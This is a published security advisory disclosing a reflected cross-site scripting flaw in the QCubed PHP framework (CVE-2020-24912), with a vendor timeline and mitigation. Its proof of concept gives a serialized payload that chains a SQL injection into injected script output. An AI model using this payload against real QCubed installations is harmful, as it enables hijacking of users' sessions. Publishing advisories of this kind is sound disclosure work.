| Identifier: | AIT-SA-20210215-03 |
| Target: | QCubed Framework |
| Vendor: | QCubed |
| Version: | all versions including 3.1.1 |
| CVE: | CVE-2020-24912 |
| Accessibility: | Remote |
| Severity: | High |
| Author: | Wolfgang Hotwagner (AIT Austrian Institute of Technology) |
Summary
QCubed is a PHP Model-View-Controller Rappid Application Development framework.
Vulnerability Description
A reflected cross-site scripting (XSS) vulnerability in qcubed (all versions including 3.1.1) in profile.php via the stQuery-parameter allows unauthenticated attackers to steal sessions of authenticated users.
Proof Of Concept
The XSS occurs because the SQL-output is not sanitized properly. Since we are able to tamper the output using a SQL-injection(CVE-2020-24913), we can easily output a common XSS string.
We use the following payload(unencoded):
a:1:{i:0;a:3:{s:12:"objBacktrace";a:1:{s:4:"args";a:1:{i:0;s:3:"PWN";}}s:8:"strQuery";s:112:"select version(); select convert_from(decode($$PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4K$$,$$base64$$),$$utf-8$$)";s:11:"dblTimeInfo";s:1:"1";}}
PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4K is unencoded:
"<script>alert(‘xss’)</script>"
The following Burp-Screenshot illustrated a http-request using the payload from above:
The response indicates that the payload worked properly:
Vulnerable Versions
All versions including 3.1.1 are affected.
Tested Versions
QCubed 3.1.1
Impact
An unauthenticated attacker could steal sessions of authenticated users.
Mitigation
A patch was delivered by QCubed that allows to disable the profile-functionality.
Vendor Contact Timeline
| 2020-04-19 | Contacting the vendor |
| 2020-04-19 | Vendor replied |
| 2020-05-01 | Vendor released a patch at Github |
| 2021-02-15 | Public disclosure |
